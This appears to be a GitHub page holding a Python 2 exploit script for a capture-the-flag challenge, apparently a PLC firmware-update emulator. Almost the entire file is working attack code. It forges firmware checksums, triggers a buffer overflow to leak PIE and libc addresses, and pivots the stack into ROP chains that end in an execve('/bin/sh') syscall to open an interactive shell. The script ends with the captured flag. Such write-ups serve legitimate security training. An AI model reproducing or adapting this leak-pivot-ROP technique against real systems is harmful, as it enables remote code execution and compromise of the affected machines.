Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
142 lines (107 sloc) 2.87 KB
import interact
from struct import *
pivot = 0xf12
main = 0x130b
plc_main = 0x11ac
pop_rdi = 0x00000000000013b3 # : pop rdi ; ret
puts = 0x8d0
exit = 0x950
system = 0x045390
binsh = 0x18cd57
xor_rax = 0x000000000008b8c5# : xor rax, rax ; ret
pop_rax = 0x33544 # : pop rax ; ret
syscall = 0xbc375 # : syscall ; ret
magic = 0x45216
pop_rdx_rsi = 0x1150c9 # : pop rdx ; pop rsi ; ret
def run_payload(ops):
p.sendline("U")
payload = "FWXX" + ops
payload = payload.ljust(0x400, "\x00")
payload = payload[0:0x400]
p.sendline(payload)
p.readuntil("ACTUAL FW CHECKSUM: ")
checksum = int(p.recv(4), 16)
print "checksum 0x{:x}".format(checksum)
p.sendline("U")
payload = "FW" + pack('H', checksum) + ops
payload = payload.ljust(0x400, "\x00")
payload = payload[0:0x400]
p.sendline(payload)
p.readuntil("SUCCESSFUL!")
p.sendline("E")
def set_debug():
print p.readuntil("Protocol")
p.sendline("U")
payload = "FW\x42\x5999819"
payload = payload.ljust(0x400, "\x00")
p.sendline(payload)
print p.readuntil("SUCCESSFUL!")
p.sendline("E")
print p.readuntil("RUNNING")
print "Done debug"
def exploit():
set_debug()
overwrite = ""
ops = "998130" + "2A"*68 + overwrite + "9"
run_payload(ops)
print p.readuntil("RUNNING")
p.sendline("S")
print p.readuntil("A"*68)
leak = p.readuntil("\n ")[:-3]
leak = leak.ljust(8, "\x00")[0:8]
print leak.encode("hex")
leak = unpack("Q", leak)[0]
base = leak - 0xab0
print "pie", hex(base)
pp = lambda x: pack("Q", base + x)
rip = pp(pivot)
mat = ""
for c in rip:
mat += "2" + c
ops = "998131" + "2A"*68 + mat + "7"*70 + "9"
run_payload(ops)
p.readuntil("OP 39\n")
rop = [
pp(pop_rdi),
pp(0x202018),
pp(puts),
pp(plc_main)
]
rop = "".join(rop)
payload = "A" * 912 + rop
payload = payload.ljust(0x400, "\x00")
p.send(payload)
libc_leak = unpack("Q", p.read(6).ljust(8, "\x00"))[0]
libc_base = libc_leak - 0x06f690
print "libc_base", hex(libc_base)
lp = lambda x: pack("Q", libc_base + x)
p64 = lambda x: pack("Q", x)
import time
time.sleep(2)
print "restarting"
p.sendline("S")
p.sendline("S")
p.readuntil("STATUS")
rip = pp(pivot)
mat = ""
for c in rip:
mat += "2" + c
ops = "998131" + "2A"*68 + mat + "7"*70 + "9"
run_payload(ops)
p.readuntil("OP 39\n")
rop = [
lp(pop_rax), p64(0x3B),
pp(pop_rdi), lp(binsh),
lp(pop_rdx_rsi), p64(0),p64(0),
lp(syscall),
pp(exit)
]
rop = "".join(rop)
payload = "A" * 912 + rop
payload = payload.ljust(0x400, "\x00")
p.send(payload)
p.interactive()
# flag{1s_thi5_th3_n3w_stuxn3t_0r_jus7_4_w4r_g4m3}
if __name__ == "__main__":
p = interact.Process()
exploit()